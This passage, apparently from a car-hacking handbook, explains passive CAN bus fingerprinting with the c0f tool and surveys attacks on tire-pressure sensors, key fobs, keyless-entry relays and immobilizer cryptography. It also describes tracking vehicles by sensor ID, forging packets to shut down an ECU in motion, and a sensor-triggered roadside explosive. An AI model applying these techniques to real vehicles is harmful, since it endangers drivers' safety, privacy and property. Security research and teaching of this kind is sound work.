mit the query on the CAN bus, which means it’s detectable and you may be 
discovered before you can trigger your payload. (Also, our examples used 
cheap hacks to avoid properly handling ISO-TP, which could lead to errors.)

Passive CAN Bus Fingerprinting
If you’re concerned about being detected before you can use your payload, 
you should avoid any sort of active probing. Passive CAN bus fingerprinting 
is less detectable, so if you discover that the model vehicle you’re targeting 
isn’t supported by your exploit, you can exit gracefully without having created 



Weaponizing CAN Findings   205

any network traffic, thus limiting your chances of being detected. Passive 
CAN bus fingerprinting involves monitoring network traffic to gather infor-
mation unique to certain makes of vehicles and then matching that infor-
mation to a known fingerprint. This area of research is relatively new, and 
as of this writing, the only tools available for gathering and detecting bus 
fingerprints are the ones released by Open Garages.

The concept of passive CAN bus fingerprinting is taken from IPv4 pas-
sive operating system fingerprinting, like that used by the p0f tool. When 
passive IPv4 fingerprinting, details in the packet header, such as the win-
dow size and TTL values, can be used to identify the operating system that 
created the packet. By monitoring network traffic and knowing which oper-
ating systems set which values in the packet header by default, it’s possible 
to determine which operating system the packet originated from without 
transmitting on the network. 

We can use a similar methodology with CAN packets. The unique iden-
tifiers for CAN are as follows:

•	 Dynamic size (otherwise set to 8 bytes)

•	 Intervals between signals

•	 Padding values (0x00, 0xFF 0xAA, and so on)

•	 Signals used

Because different makes and models use different signals, unique signal 
IDs can reveal the type of vehicle that’s being examined. And even when 
the signal IDs are the same, the timing intervals can be unique. Each CAN 
packet has a DLC field to define the length of the data, though some manu-
facturers will set this to 8 by default and pad out the data to always ensure 
that 8 bytes are used. Manufacturers will use different values to pad their 
data, so this can also be an indicator of the make.

CAN of Fingers

The Open Garages tool for passive fingerprinting is called CAN of Fingers (c0f) 
and is available for free at https://github.com/zombieCraig/c0f/. c0f samples a 
bunch of CAN bus packets and creates a fingerprint that can later be identi-
fied and stored. A fingerprint from c0f—a JSON consumable object—might 
look like this:

{"Make": "Unknown", "Model": "Unknown", "Year": "Unknown", "Trim": "Unknown", 
"Dynamic": "true", "Common": [ { "ID": "166" },{ "ID": "158" },{ "ID": "161" }, 
{ "ID": "191" },{ "ID": "18E" },{ "ID": "133" },{ "ID": "136" },{ "ID": "13A" }, 
{ "ID": "13F" },{ "ID": "164" },{ "ID": "17C" },{ "ID": "183" },{ "ID": "143" }, 
{ "ID": "095" } ], "MainID": "143", "MainInterval": "0.009998683195847732"} 

Five fields make up the fingerprint: Make, Model, Year, Trim, and Dynamic. 
The first four values—Make, Model, Year, and Trim—are all listed as Unknown if 
they’re not in the database. Table 11-2 lists the identified attributes that are 
unique to the vehicle.

https://github.com/zombieCraig/c0f/
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Table 11-2: Vehicle Attributes for Passive Fingerprinting

Attribute Value type Description

Dynamic Binary value If the DLC has a dynamic length, this is set to true.

Padding Hex value If padding is used, this attribute will be set to the 
byte used for padding. This example does not have 
padding, so the attribute is not included.

Common Array of IDs The common signal IDs based on the frequency seen 
on the bus.

Main ID Hex ID The most common signal ID based on the frequency 
of occurrence and interval.

Main Interval Floating point 
value

The shortest interval time of the most common ID 
(MainID) that repeats on the bus.

Using c0f

Many CAN signals that fire at intervals will appear in a logfile the same 
amount of times as each other, with similar intervals between occurrences. 
c0f will group the signals together by the number of occurrences. 

To get a better idea of how c0f determines the common and main IDs, 
run c0f with the --print-stats option, as shown in Listing 11-5.

$ bundle exec bin/c0f --logfile test/sample-can.log --print-stats 
  Loading Packets...   6158/6158  |*******************************************
*******|  0:00  
Packet Count (Sample Size): 6158 
Dynamic bus: true 
[Packet Stats] 
 166 [4] interval 0.010000110772939828 count 326 
 158 [8] interval 0.009999947181114783 count 326 
 161 [8] interval 0.009999917103694035 count 326 
 191 [7] interval 0.009999932509202223 count 326 
 18E [3] interval 0.010003759677593524 count 326 
 133 [5] interval 0.0099989076761099 count 326 
 136 [8] interval 0.009998913544874925 count 326 
 13A [8] interval 0.009998914278470553 count 326 
 13F [8] interval 0.009998904741727389 count 326 
 164 [8] interval 0.009998898872962365 count 326 
 17C [8] interval 0.009998895204984225 count 326 
 183 [8] interval 0.010000821627103366 count 326 

  039 [2] interval 0.015191149488787786 count 215 
v  143 [4] interval 0.009998683195847732 count 326 

 095 [8] interval 0.010001396766075721 count 326 
 1CF [6] interval 0.01999976016857006 count 163 
 1DC [4] interval 0.019999777829205548 count 163 
 320 [3] interval 0.10000315308570862 count 33 
 324 [8] interval 0.10000380873680115 count 33 
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 37C [8] interval 0.09999540448188782 count 33 
 1A4 [8] interval 0.01999967775227111 count 163 
 1AA [8] interval 0.019999142759334967 count 162 
 1B0 [7] interval 0.019999167933967544 count 162 
 1D0 [8] interval 0.01999911758470239 count 162 
 294 [8] interval 0.039998024702072144 count 81 
 21E [7] interval 0.039998024702072144 count 81 
 309 [8] interval 0.09999731183052063 count 33 
 333 [7] interval 0.10000338862019201 count 32 
 305 [2] interval 0.1043075958887736 count 31 
 40C [8] interval 0.2999687910079956 count 11 
 454 [3] interval 0.2999933958053589 count 11 
 428 [7] interval 0.3000006914138794 count 11 
 405 [8] interval 0.3000005006790161 count 11 
 5A1 [8] interval 1.00019109249115 count 3 

Listing 11-5: Running c0f with the --print-stats option

The common IDs are the grouping of signals that occurred 326 times 
(the highest count). The main ID is the common ID with the shortest aver-
age interval—in this case, signal 0x143 at 0.009998 s v. 

The c0f tool saves these fingerprints in a database so that you can pas-
sively identify buses, but for the purpose of shellcode development, we can 
just use main ID and main interval to quickly determine whether we’re on 
the target we expect to be on. Taking the result shown in Listing 11-5 as our 
target, we’d listen to the CAN socket for signal 0x143 and know that the 
longest we’d have to wait is 0.009998 ms before aborting if we didn’t see an 
ID of 0x143. (Just be sure that when you’re checking how much time has 
passed since you started sniffing the bus, you use a time method with high 
precision, such as clock_gettime.) You could get more fine-grained identifica-
tion by ensuring that you also identified all of the common IDs as well. 

It’s possible to design fingerprints that aren’t supported by c0f. For 
instance, notice in the c0f statistical output in Listing 11-5 that the signal ID 
0x039 occurred 215 times u. That’s a strange ratio compared to the other 
common packets. The common packets are occurring about 5 percent of 
the time, but 0x039 occurs about 3.5 percent of the time and is the only sig-
nal with that ratio. Your shellcode could gather a common ID and calculate 
the ratio of 0x039 occurring to see whether it matches. This could just be a 
fluke based on current vehicle conditions at the time of the recording, but 
it might be interesting to investigate. The sample size should be increased 
and multiple runs should be used to verify findings before embedding the 
detection into your shellcode. 

N O T E 	 c0f isn’t the only way to quickly detect what type of vehicle you’re on; the output could 
be used for additional creative ways to identify your target system without transmit-
ting packets. The future may bring systems that can hide from c0f, or we may discover 
a newer, more efficient way to passively identify a target vehicle.
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Responsible Exploitation
You now know how to identify whether your exploit is running on the tar-
get it’s designed for and even how to check without transmitting a single 
packet. You don’t want to flood a bus with a bogus signal, as this will shut 
the network down, and flooding the wrong signal on the wrong vehicle can 
have unknown affects. 

When sharing exploit code, consider adding a bogus identification 
routine or complete VIN check to prevent someone from simply launching 
your exploit haphazardly. Doing so will at least force the script kiddies to 
understand enough of the code to modify it to fit the proper vehicles. When 
attacking interval-based CAN signals, the proper way to do this is to listen 
for the CAN ID you want to modify and, when you receive it through your 
read request, to modify only the byte(s) you want to alter and immediately 
send it back out. This will prevent flooding, immediately override the valid 
signal, and retain any other attributes in the signal that aren’t the target of 
the attack. 

Security developers need access to exploits to test the strength of their 
protections. New ideas from both the attack and defense teams need to be 
shared, but do so responsibly.

Summary
In this chapter, you learned how to build working payloads from your 
research. You took proof-of-concept C code, converted it to payloads in 
assembly, and then converted your assembly to shellcodes that you could 
use with Metasploit to make your payloads more modular. You also learned 
safe ways to ensure that your payloads wouldn’t accidentally be run on 
unexpected vehicles with the help of VIN decoding and passive CAN bus 
identification techniques. You even learned some ways to prevent script kid-
dies from taking your code and injecting it into random vehicles.
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In this chapter, we’ll delve into embedded 
wireless systems, beginning with embedded 

systems that transmit simple wireless signals 
to the ECU. Embedded wireless systems can 

be easy targets. They often rely on short-range signals 
as their only security, and because they’re small devices 
with specific functionalities, there are typically no 
checks from the ECU to validate the data outside of the signal and the CRC 
algorithm. Such systems are usually good stepping stones for learning before 
looking at more advanced systems, such as those with keyless entry, which 
we’ll look at hacking in the latter part of the chapter.

We’ll look at the technology that unlocks and starts your vehicle as we 
explore both the wireless side of keyless entry systems and the encryption 
they use. In particular, we’ll focus on the TPMS and wireless key systems. 
We’ll consider possible hacks, including ways that the TPMS could be used 
to track a vehicle, trigger events, overload the ECU, or spoof the ECU to 
cause unusual behavior. 
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Wireless Systems and SDR
First, a quick primer on sending and receiving wireless signals. To perform 
the type of research discussed in this chapter, you’ll need an SDR, a pro-
grammable radio that sells anywhere from $20, for example, RTL-SDR 
(http://www.rtl-sdr.com/), to over $2,000, for example, a Universal Software 
Radio Peripheral (USRP) device from Ettus Research (http://www.ettus.com/). 
The HackRF One is a good and very serviceable option from Great Scott 
Gadgets that will cost you about $300, but you’ll most likely want two so you 
can send and receive at the same time. 

One significant difference between SDR devices that has a direct effect 
on cost is the sample rate, or the number of samples of audio carried per 
second. Unsurprisingly, the larger your sample rate, the more bandwidth 
you can simultaneously watch—but also the more expensive the SDR and 
the faster the processor needs to be. For instance, the RTL-SDR maxes 
out at around 3Mbps, the HackRF at 20Mbps, and the USRP at 100Mbps. 
As a point of reference, 20Mbps will let you sample the entire FM spectrum 
simultaneously. SDR devices work well with the free GNU Radio Companion 
(GRC) from GNURadio (https://gnuradio.org/), which you can use to view, 
filter, and demodulate encoded signals. You can use GNU Radio to filter out 
desired signals, identify the type of modulation being used (see the next 
section), and apply the right demodulator to identify the bitstream. GNU 
Radio can help you go from wireless signals directly to data you can recog-
nize and manipulate.

N O T E 	 See the Great Scott Gadgets tutorials at http://greatscottgadgets.com/sdr/ for 
more on how to use SDR devices with GNU Radio.

Signal Modulation
To apply the right demodulator, you first need to be able to identify the 
type of modulation a signal is using. Signal modulation is the way you rep-
resent binary data using a wireless signal, and it comes into play when you 
need to be able to tell the difference between a digital 1 and a digital 0. 
There are two common types of digital signal modulation: amplitude-shift 
keying (ASK) and frequency-shift keying (FSK). 

Amplitude-Shift Keying

When ASK modulation is used, the bits are designated by the amplitude of 
the signal. Figure 12-1 shows a plot of the signal being transmitted in carrier 
waves. A carrier wave is the amplitude of the carrier, and when there’s no 
wave, that’s the signal’s resting state. When the carrier line is high for a spe-
cific duration, which registers as a wave, that’s a binary 1. When the carrier 
line is at a resting state for a shorter duration, that’s a binary 0.

http://www.rtl-sdr.com/
http://www.ettus.com/
https://gnuradio.org/
http://greatscottgadgets.com/sdr/
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ASK Wave

Data Bits

1 1 00 0 1 01 1

Figure 12-1: ASK modulation

ASK modulation is also known as on-off keying (OOK), and it typically 
uses a start-and-stop bit. Start-and-stop bits are common ways to separate 
where a message starts and where it stops. Accounting for start-and-stop 
bits, Figure 12-1 could represent nine bits: 0-1-1-0-1-1-0-1-0.

Frequency-Shift Keying

Unlike ASK, FSK always has a carrier signal but that signal is instead mea-
sured by how quickly it changes—its frequency (see Figure 12-2).

FSK Wave

Data Bits

1 0 0 1 0 0 1 0 1

Figure 12-2: FSK modulation

In FSK, a high-frequency signal is a 1, and a low-frequency signal is a 0. 
When the carrier waves are close, that’s a 1, and when they’re spaced farther 
apart, that’s a 0. The bits in Figure 12-2 are probably 1-0-0-1-0-0-1-0-1. 

Hacking with TPMS 
The TPMS is a simple device that sits inside the tire and sends data on 
tire-pressure readings and wheel rotation and temperature, and warn-
ings about certain conditions like low sensor batteries to the ECU (see 
Figure 12-3). The data is then displayed to the driver via gauges, digital 
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displays, or warning lights. In the fall of 2000, the United States enacted the 
Transportation Recall Enhancement, Accountability, and Documentation 
(TREAD) Act, requiring that all new vehicles have a TPMS system installed 
in order to improve road safety by alerting drivers to underinflated tires. 
Thanks to TREAD, the TPMS has widespread adoption, making it a preva-
lent attack target.

Figure 12-3: Two TPMS sensors

The TPMS device sits inside the wheel and transmits wirelessly into the 
wheel well, allowing its signals to be partially shielded by the body of the 
vehicle in order to prevent too much leakage. Most TPMS systems use a 
radio to communicate with the ECU. The signal frequency varies between 
devices but typically runs at 315 MHz or 433 MHz UHF and uses either 
ASK or FSK modulation. Some TPMS systems use Bluetooth, which has its 
pros and cons from the perspective of an attacker: Bluetooth has a greater 
default range, but the Bluetooth protocol can also enable secure commu-
nication, making it harder to intercept or connect to. In this chapter, I’ll 
focus on TPMS systems that use radio signals. 

Eavesdropping with a Radio Receiver 
Most public research on TPMS security is summarized in “Security and 
Privacy Vulnerabilities of In-Car Wireless Networks: A Tire Pressure 
Monitoring System Case Study” from researchers at the University of South 
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Carolina and Rutgers University.1 The paper shows how the researchers 
were able to eavesdrop on a TPMS system from 40 m away using a relatively 
low-cost USRP receiver ($700 to $2,000) to sniff its wireless signals. (As 
mentioned earlier, you could use a different SDR.) Once the signals have 
been captured, GNU Radio can be used to filter and demodulate them.

TPMS systems have very weak signals and, therefore, don’t leak data too 
far from the vehicle. In order to overcome the low leakage factor of a TPMS 
system, you could add a low-noise amplifier (LNA) to your radio receiver 
to increase the sniffing range, which should allow you to capture a TPMS 
signal from the side of the road or from a vehicle traveling alongside the 
target. You could also implement directional antennas to boost your range. 

TPMS sensors transmit only every 60 to 90 seconds, and sensors usu-
ally aren’t required to send information until the vehicle is traveling at 
25 mph or higher. However, many sensors transmit even when a car is idle, 
and some transmit even when the car is off. When auditing a stationary 
vehicle that’s powered off, be sure to send a wake-up signal to trigger a 
response from the TPMS.

The best way to know how your target TPMS sensor works is to listen for 
packets with the vehicle completely off. You most likely won’t see any com-
munication without a wake-up signal, but some devices may transmit at slow 
intervals anyhow. Next, turn the vehicle on and leave it in an idle state. The 
ECU should prompt the tire to respond at the very least during startup, but 
most likely it’ll poll every so often.

Once you see the TPMS signal, you’ll need to decode it in order for its 
contents to make sense. Thankfully, researcher Jared Boone has made that 
easy with a suite of tools designed to capture and decode TPMS packets. 
You’ll find the source code for his gr-tpms tool at https://github.com/jboone/
gr-tpms/ and the source code for his tpms tool at https://github.com/jboone/
tpms/. After using these tools to capture and decode TPMS packets, you 
can analyze the captured data to determine which bits represent the sys-
tem’s unique ID as well as any other fields.

TPMS Packets
TPMS packets will typically contain the same information, with some differ-
ences between models. Figure 12-4 shows an example of a TPMS packet.

TemperaturePreamble SensorID Pressure Flags Checksum

Figure 12-4: An example TPMS packet

The SensorID is a 28- or 32-bit number that’s unique to each sensor 
and registered with the ECU. If your only goal is to fingerprint a target for 

1. Ishtiaq Rouf et al., “Security and Privacy Vulnerabilities of In-Car Wireless Networks: 
A Tire Pressure Monitoring System Case Study,” USENIX Security ’10, Proceedings of the 19th 
USENIX Conference on Security, August 2010: 323–338, https://www.usenix.org/legacy/events/sec10/
tech/full_papers/Rouf.pdf.

https://github.com/jboone/gr-tpms/
https://github.com/jboone/gr-tpms/
https://github.com/jboone/tpms/
https://github.com/jboone/tpms/
https://www.usenix.org/legacy/events/sec10/tech/full_papers/Rouf.pdf
https://www.usenix.org/legacy/events/sec10/tech/full_papers/Rouf.pdf
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tracking or triggering an event, the SensorID is probably the only part of 
the packet you’ll care about. The Pressure and Temperature fields contain 
readings from the TPMS device. The Flags field can contain extra meta-
data, such as a warning about a low battery in a sensor. 

When determining packet encoding, check whether Manchester encod-
ing was used. Manchester encoding is commonly used in near-field devices, 
like TPMS systems. If you know what chipset is being used, the data sheet 
should tell you whether it supports Manchester encoding. If it does, you’ll 
first need to decode the packet before parsing its contents. Jared Boone’s 
tools can assist with this task.

Activating a Signal
As mentioned, sensors generally transmit around once a minute, but rather 
than waiting 60 seconds for the sensor to send a packet, an attacker can 
send a 125 kHz activation signal to the TPMS device with an SDR to elicit a 
response. Your interception of this response will need to be timed carefully, 
though, because there’s a delay between when you send an activation signal 
and when the response is transmitted. For example, if you’re receiving from 
the side of the road and the vehicle is traveling too fast past your sensor, you 
could easily miss the response. 

The activation signal is designed primarily for TPMS test equipment, 
so it may be tricky to use it on a moving vehicle. If the target vehicle sends 
packets when it’s stationary or off, your task will be much easier. 

TPMS sensors don’t use input validation. The ECU will check to make 
sure that it recognizes only the SignalID, so the only attribute you, as an 
attacker, need to know or match is the ID.

Tracking a Vehicle
It’s possible to use TPMS to track vehicles by placing receivers in the areas 
you wish to track. For instance, to track vehicles entering a parking garage, 
you’d simply need to place some receivers by the entrance and exit areas. 
However, to track vehicles around a city or along a route, you’d need to 
strategically place sensors along the area to be tracked. Because the sensors 
would have limited range, you’d have to place them around intersections or 
freeway on- or off-ramps.

As mentioned, TPMS sensors broadcast their unique ID every 60 to 
90 seconds, so you’ll miss a lot of signals if you’re recording IDs on a high-
speed road. To improve your chances of capturing signals, send the activa-
tion signal to wake up the device as it passes. The sensor’s limited distance 
can also affect your ability to gather IDs, but you could add an LNA to your 
tracking system to increase the range.

Event Triggering
Besides simply tracking a vehicle, TPMS can be used to trigger an event, from 
something simple like opening a garage door when the car approaches 
to something more sinister. For instance, a malicious actor could plant a 
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roadside explosive and set it to detonate when it receives a known ID from 
the TPMS sensor. Because you have four tires, the attacker would have rea-
sonable assurance that they have the right vehicle if they receive a signal for 
each tire. Essentially, using all four tires would allow you to create a basic 
but accurate sensor fingerprint for a target vehicle.

Sending Forged Packets
Once you have access to the TPMS signal, you can send your own forged 
packets by setting up GNU Radio as a transmitter instead of as a receiver. 
By forging packets, you can not only spoof dangerous PSI and temperature 
readings but also cause other engine lights to trigger. And because sensors 
still respond to activation packets while the vehicle is off, it’s possible to 
drain a vehicle’s battery by flooding the sensor with activation requests.

In the paper “Security and Privacy Vulnerabilities of In-Car Wireless 
Networks” referenced previously, the researchers flooded the sensors with 
spoofed packets, eventually managing to completely shut down the ECU 
while the vehicle was in use. Shutting down the ECU either halts the vehi-
cle or forces it into “limp mode.” 

W A R N I N G 	 Shutting down the ECU while a vehicle is traveling at high speed could be extremely 
dangerous. Even though playing with TPMS may seem innocuous, be sure to take 
standard safety precautions when assessing any vehicle.

Attacking Key Fobs and Immobilizers
Anyone who has driven a modern vehicle is likely familiar with the key fob 
and the remote unlock. In 1982, radio-frequency identification (RFID) was 
first introduced into remote keyless vehicle entry systems via the Renault 
Fuego, and it’s been in wide use since 1995. Earlier systems used infrared, 
so when working with one of these earlier vehicles, you’ll need to assess the 
key fob by recording the infrared light source (which is not covered in this 
chapter). Today’s systems use a key fob to send an RFID signal to a vehicle 
to remotely unlock the doors or even start the vehicle. The key fob uses a 
transponder operating at 125 kHz to communicate with an immobilizer in 
the vehicle, which prevents the vehicle from starting unless it receives the 
correct code or other token. The reason to use a low-frequency RFID signal is 
to allow the key system to work even if the key fob runs out of battery power. 

We’ll examine using SDR devices to analyze wireless communications 
set by the wireless key fobs used to unlock and start vehicles. While older 
key fobs use a simple fixed code to start the vehicle, most modern systems 
rely on a rolling code or a challenge–response system that prevents simply 
recording and playing back a fixed code by challenging the key fob to per-
form a task, like completing a calculation and returning the correct answer. 
These calculations require both a bit more power and the use of a battery, 
which also makes it possible for the key fob to communicate on a higher fre-
quency from a greater distance.
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Remote keyless entry systems typically run at 315 MHz in North America 
and 433.92 MHz in Europe and Asia. You can use GNU Radio to watch the 
signal sent by a key fob or use a tool like the Gqrx SDR (http://gqrx.dk/) for 
a nice real-time view of the entire bandwidth brought in from your SDR 
device. Using Gqrx with a high sample rate (bandwidth) allows you to iden-
tify the frequency of an RFID signal as it’s sent from a key fob to a vehicle. 
For example, Figure 12-5 shows Gqrx set to listen at 315 MHz (the center, 
vertical line) and at offset –1,192.350 kHz, as it monitors a key fob unlock 
request for a Honda. Gqrx has identified two peaks in the signal that are 
likely to be the unlock requests.

Figure 12-5: Gqrx capture of a key fob unlock request

Key Fob Hacks
There are plenty of ways to hack key fob systems, and I’ll give examples of a 
few methods an attacker might use in the following sections. 

Jamming the Key Fob Signal

One way to attack a key fob signal is to jam it by passing garbage data 
within the RFID receiver’s passband, the area the receiver is listening to for 
a valid signal. The width of the passband window includes some extra space 
where you can add noise to prevent the receiver from changing the rolling 
code while still allowing the attacker to view the correct key sequence (see 
Figure 12-6).

While holding onto that valid unlock request in memory, the attacker 
waits for another request to be sent and records that request, too. The 
attacker can then replay the first valid packet to the vehicle, causing it to 
lock or unlock the car, depending on the signal sent by the key fob. When 

http://gqrx.dk/
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the car owner leaves the vehicle, the attacker has the last valid key stored 
and can replay it to open the vehicle doors or start the vehicle. This attack 
was demonstrated by Samy Kamkar at DEF CON 23 on both vehicles and 
garage door openers.2 

Passband
Filter

Passband
Filter

Normal Jammed

Figure 12-6: Jamming the passband filter to preserve the key exchange

Pulling the Response Codes from Memory

Sometimes it’s possible to find the response code still in the immobilizer’s 
memory, even a few minutes after the key fob has stopped sending signals. 
This provides a window of opportunity to start the car not by capturing sig-
nals live from a key fob but rather by pulling the signal from the immobi-
lizer’s memory. 

If an area of memory can be identified to contain this information, 
then the attacker needs to either quickly get access to the vehicle or have 
a device on the vehicle that can respond to record this information.

Brute-Forcing a Key Code

Some response codes can be accessed by brute force, though the feasibil-
ity of a brute-force attack depends on the key code length and algorithm. 
(We’ll discuss the cryptography behind these key systems in “Immobilizer 
Cryptography” on page 220.) In order for a brute-force attack to succeed, 
the attacker needs to build custom software to brute-force the key using 
an SDR, a custom hardware component, or—better yet—a combination of 
the two. For instance, if the key fob detected brute-forcing attacks, you may 
want to have some custom hardware reset the key fob on lockout by bounc-
ing the power.

2. Samy Kamkar, “Drive It Like You Hacked It” (presentation, DEF CON 23, Las Vegas, NV, 

August 6 2015), http://samy.pl/defcon2015/2015-defcon.pdf.

http://samy.pl/defcon2015/2015-defcon.pdf
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Forward-Prediction Attacks

If an attacker is able to observe challenge–response exchanges that occur 
when the key fob sends a signal to the vehicle and the vehicle’s transpon-
der responds, the attacker can perform a forward-prediction attack. In such 
an attack, the attacker observes multiple challenges and from those, pre-
dicts what the next challenge request will be. If the transponder’s pseudo-
random number generator (PRNG) is weak, this attack may well succeed. 
To greatly simplify this example, if the PRNG was based on when the key 
fob first received power, an attacker could seed their own random number 
generator with a matching start time. Once the attacker was synced to the 
target, the attacker could predict all future codes.

Dictionary Attacks

Similarly, if an attacker can record numerous valid challenge–response 
exchanges between the key fob and the transponder, they can store them in 
a dictionary and then use the collected key pairs to repeatedly request chal-
lenges from the transponder until one challenge matches a response in the 
dictionary. This tricky attack is possible only when the keyless entry system 
doesn’t use sender verification to make sure that responses are valid. The 
attacker would also need to be able to continuously request authentication 
from the transponder. 

In order to perform a dictionary attack, the attacker would need to 
build a system to trigger the key fob request and record the exchange with an 
SDR. An Arduino wired to the button press of the researcher’s valid key fob 
would suffice. Assuming the authentication takes place over CAN, it’s also 
possible to grab the key fob ID over ultra-high frequency and attempt to 
gather the key stream by replaying and recording the communication over 
the CAN bus, as discussed in “Reversing CAN Bus Communications with  
can-utils and Wireshark” on page 68. Using custom tools, this would be 
possible to repeat over any bus network. For more information on this type 
of attack, see the paper “Broken Keys to the Kingdom”.3

Dumping the Transponder Memory

It’s often possible to dump the memory of the transponder to get the secret 
key. In Chapter 8, we examined how to use debugger pins, such as JTAG, as 
well as side-channel analysis attacks to dump memory from the transponder.

Reversing the CAN Bus

To gain access to a vehicle, an attacker can simulate the lock button press 
using the CAN bus reversing methods discussed in Chapter 5. If the attacker 
has access to the CAN bus, they can replay lock and unlock packets to con-
trol and occasionally even start the vehicle. Sometimes CAN bus wires are 

3. Jos Wetzels, “Broken Keys to the Kingdom: Security and Privacy Aspects of RFID-Based Car 
Keys,” eprint arXiv:1405.7424 (May 2014), http://arxiv.org/ftp/arxiv/papers/1405/1405.7424.pdf.

http://arxiv.org/ftp/arxiv/papers/1405/1405.7424.pdf
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even accessible from outside the vehicle; for instance, some vehicles have 
CAN bus running to the tail lights. An attacker could pop out a tail light 
and tap into the CAN bus network in order to unlock the vehicle.

Key Programmers and Transponder Duplication Machines

Transponder duplication machines are often used to steal vehicles. These 
machines, the same as those used by a mechanic or dealership to replace 
lost keys, can be purchased online for anywhere from $200 to $1,000. 
Attackers acquire the transponder signal from their target vehicle and use 
it to create a clone of the key, by either having a valid key nearby or using 
one of the attacks discussed earlier. For example, the attacker—possibly a 
valet or a parking garage attendant—might jam the door lock signal and 
then sneak into the vehicle and attach a custom dongle to the OBD-II con-
nector. The dongle would acquire the key fob communication and possibly 
even include a GPS broadcast to allow the attacker to locate the vehicle 
later. The attacker would later return to the vehicle and use the dongle to 
unlock and start the car.

Attacking a PKES System
Passive keyless entry and start (PKES) systems are very similar to traditional 
transponder immobilizer systems, except that the key fob can remain in the 
owner’s pocket and no button needs to be pressed. When a PKES system is 
implemented, antennas in the vehicle read RFID signals from the key fob 
when it’s in range. PKES key fobs use a low-frequency (LF) RFID chip and 
an ultra-high-frequency (UHF) signal to unlock or start the vehicle. The 
vehicle ignores UHF signals from the key fob if the LF RFID signal isn’t 
seen, meaning that the key isn’t nearby. The RFID on the key fob receives a 
crypto challenge from the vehicle, and the microcontroller on the key fob 
solves this challenge and responds over the UHF signal. Some vehicles use 
RFID sensors inside the vehicle to triangulate the location of the key fob to 
ensure the key fob is inside the vehicle. If the battery dies in a PKES key fob, 
there’s typically a hidden physical key in the fob that will unlock the door, 
though the immobilizer will still use the RFID to verify that the key is pres-
ent before starting the vehicle. 

There are typically two types of possible attacks on a PKES system: a 
relay attack and an amplified relay attack. In a relay attack, an attacker places 
a device next to the car and another next to the owner or holder of the key 
fob (the target). The device relays the signals between the target’s key fob 
and the vehicle, enabling the attacker to start the car. 

This relay tunnel can be set up to communicate over any channel that’s 
fast and has a larger range than the normal key fob. For instance, a device 
placed near the target could set up a cellular tunnel to a laptop near 
the vehicle. Packets would go from the target’s key fob into the device to 
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be transmitted over cellular and replayed by the laptop. For more infor-
mation, see “Relay Attacks on Passive Keyless Entry and Start Systems in 
Modern Cars.”4

An amplified relay attack uses the same basic principles as a relay attack 
but with only a single amplifier. The attacker stands by the target vehicle and 
amplifies the signal, and if the target is nearby with the key fob, the vehicle 
will unlock. This is an unsophisticated attack that simply increases the range 
of the vehicle’s sensors. It’s been seen in the wild, primarily in residential 
neighborhoods, prompting a series of news articles advising residents to put 
their keys in their refrigerator or wrap them in aluminum foil when they’re 
at home to prevent them from sending a readable signal. Obviously, treating 
your keys like lunch is silly, but until auto manufacturers provide an alterna-
tive solution, I’m afraid you’re stuck with homemade Faraday cages.

Immobilizer Cryptography
Like most systems in a vehicle, immobilizer systems are usually created using 
a combination of cheap components. As a result, manufacturers have become 
creative with things like cryptography, which has introduced numerous weak-
nesses into these systems. For example, some immobilizer vendors make the 
common mistake of creating their own crypto and hiding it behind a trade 
secret clause designed to protect it instead of validating it with public scru-
tiny. Known as security through obscurity, this method is almost always doomed 
to fail, and it’s why we don’t see a standard cryptography implementation to 
handle the key exchange between the key fob and the immobilizer. 

The immobilizer–key exchange uses a challenge–response system and 
PRNGs. The PRNG is equally important as the crypto algorithm, as a poor 
PRNG can lead to predictable results regardless of how good your crypto 
algorithm is. 

The typical key exchange implementation follows this general sequence:

1.	 The immobilizer sends a challenge to the key using a PRNG.

2.	 The key encrypts the challenge using a PRNG and returns it to the 
immobilizer.

3.	 The immobilizer sends a second random number challenge. 

4.	 The key encrypts both challenges and returns them to the immobilizer.

These algorithms are typically from the pseudorandom function (PRF) 
family, which generate what only look like random output given random 
input. There’s a strong reliance on generated randomness in order for these 
systems to work properly. Some of these systems have already been cracked 
and the cracking methods widely disseminated, but some still remain 

4. Aurélien Francillon, Boris Danev, and Srdjan Capkun, “Relay Attacks on Passive Keyless 
Entry and Start Systems in Modern Cars,” NDSS 2011 (February 2011) https://eprint.iacr​
.org/2010/332.pdf.

https://eprint.iacr.org/2010/332.pdf
https://eprint.iacr.org/2010/332.pdf
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unbroken. Unfortunately, because manufacturers don’t have systems in 
place to update their key fobs’ firmware, you’ll see all of these algorithms in 
use if you look long and hard enough. 

The following are some of the known proprietary algorithms still in 
use and their current crack status—that is, whether they’ve been broken or 
not. Whenever possible, I identify which vehicles you may see the algorithm 
used in. 

N O T E 	 This section is designed to assist in your research. Each area should give you basic 
information on the key system you’re looking at and details that should help you to 
jump-start your crypto research. This section isn’t meant to explain cryptography, 
and I won’t delve into the intricacies of the mathematics behind each algorithm.

EM Micro Megamos

Introduced  1997

Manufacturer  Volkswagen/Thales

Key Length  96 bits

Algorithm  Proprietary

Vehicles  Porsche, Audi, Bentley, Lamborghini

Crack Status  Broken but the attack methods have been censored by 
lawsuit

The Megamos cryptographic system has a particularly interesting history. 
Megamos “optimized” its key handshake by requiring only one round of 
challenge and response and eliminating the second round, as outlined ear-
lier. While an attacker attempting to crack a challenge–response key would 
normally need access to the target key, they could crack Megamos without 
a key present because the Megamos challenge response is never actually 
acted on by the vehicle’s transponder. This flaw basically skips the key chal-
lenge portion and provides only an encrypted key.

The Megamos memory is a 160-bit EEPROM, organized into 10 words, as 
shown in Table 12-1. Crypt Key is the secret key storage, ID is the 32-bit identi-
fier, LB 0 and LB 1 are the lock bits, and UM is the 30 bits of user memory.

Table 12-1: Layout of the Megamos Memory Space

Bit 15 Bit 0 Bit 15 Bit 0

Crypt Key 95 Crypt Key 80 Crypt Key 15 Crypt Key 0

Crypt Key 79 Crypt Key 64 ID 31 ID 16

Crypt Key 63 Crypt Key 48 ID 15 ID 0

Crypt Key 47 Crypt Key 32 LB1, LB0, UM 29 UM 16

Crypt Key 31 Crypt Key 16 UM 15 UM 0
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This algorithm was cracked publicly in 2013 when Flavio D. Garcia, 
a security researcher at the University of Birmingham, published a paper 
called “Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle 
Immobilizer”.5 Garcia and two fellow researchers from Radboud University 
Nijmegen, Barış Ege and Roel Verdult, notified the chipmakers, Volkswagen 
and Thales, nine months prior to the scheduled publication of their paper. 
Volkswagen and Thales reacted by suing the researchers for having identi-
fied the vulnerabilities, and the researchers lost the court case because the 
algorithm was leaked online. The leaked algorithm was used in pirated soft-
